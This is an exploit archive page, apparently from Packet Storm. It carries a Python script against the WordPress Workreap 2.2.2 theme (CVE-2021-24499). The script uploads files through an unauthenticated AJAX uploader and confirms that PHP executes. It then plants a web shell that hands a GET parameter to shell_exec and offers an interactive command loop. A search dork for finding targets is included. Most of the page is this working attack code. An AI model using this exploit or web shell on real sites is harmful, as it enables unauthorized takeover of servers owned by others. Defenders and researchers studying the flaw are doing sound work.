what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Workreap 2.2.2 Shell Upload

WordPress Workreap 2.2.2 Shell Upload
Posted Jun 12, 2023
Authored by Mohammad Hossein Khanaki

WordPress theme Workreap version 2.2.2 suffers from a remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability
advisories | CVE-2021-24499
SHA-256 | 88613ebc6afdbf65ab6006134c141ccea5e75079b6943db66508c59fc8ddd503

WordPress Workreap 2.2.2 Shell Upload

Change Mirror Download
# Exploit Title: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution
# Dork: inurl:/wp-content/themes/workreap/
# Date: 2023-06-01
# Category : Webapps
# Vendor Homepage: https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454
# Exploit Author: Mohammad Hossein Khanaki(Mr_B0hl00l)
# Version: 2.2.2
# Tested on: Windows/Linux
# CVE: CVE-2021-24499


import requests
import random
import string
import sys


def usage():
banner = '''
NAME: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution
usage: python3 Workreap_rce.py <URL>
example for linux : python3 Workreap_rce.py https://www.exploit-db.com
example for Windows : python Workreap_rce.py https://www.exploit-db.com
'''
print(f"{BOLD}{banner}{ENDC}")

def upload_file(target):
print("[ ] Uploading File")
url = target + "/wp-admin/admin-ajax.php"
body = "<?php echo '" + random_str + "';?>"
data = {"action": "workreap_award_temp_file_uploader"}
response = requests.post(url, data=data, files={"award_img": (file_name, body)})
if '{"type":"success",' in response.text:
print(f"{GREEN}[+] File uploaded successfully{ENDC}")
check_php_file(target)
else:
print(f"{RED}[+] File was not uploaded{ENDC}")

def check_php_file(target):
response_2 = requests.get(target + "/wp-content/uploads/workreap-temp/" + file_name)
if random_str in response_2.text:
print(f"{GREEN}The uploaded PHP file executed successfully.{ENDC}")
print("path: " + target +"/wp-content/uploads/workreap-temp/" + file_name)
question = input(f"{YELLOW}Do you want get RCE? [Y/n] {ENDC}")
if question == "y" or question == "Y":
print("[ ] Uploading Shell ")
get_rce(target)
else:
usage()
else:
print(f"{RED}[+] PHP file not allowed on this website. Try uploading another file.{ENDC}")

def get_rce(target):
file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"
body = '<?php $command = $_GET["c"]; $output = shell_exec($command); echo "<pre>\n$output</pre>";?>'
data = {"action": "workreap_award_temp_file_uploader"}
response_3 = requests.post(target + '/wp-admin/admin-ajax.php', data=data, files={"award_img": (file_name, body)})
print(f"{GREEN}[+] Shell uploaded successfully{ENDC}")
while True:
command = input(f"{YELLOW}Enter a command to execute: {ENDC}")
print(f"Shell Path : {target}'/wp-content/uploads/workreap-temp/{BOLD}{file_name}?c={command}{ENDC}")
response_4 = requests.get(target + '/wp-content/uploads/workreap-temp/' + file_name + f"?c={command}")
print(f"{GREEN}{response_4.text}{ENDC}")


if __name__ == "__main__":
global GREEN , RED, YELLOW, BOLD, ENDC
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BOLD = '\033[1m'
ENDC = '\033[0m'
file_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + ".php"
random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
try:
upload_file(sys.argv[1])
except IndexError:
usage()
except requests.exceptions.RequestException as e:
print("\nPlease Enter Valid Address")


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close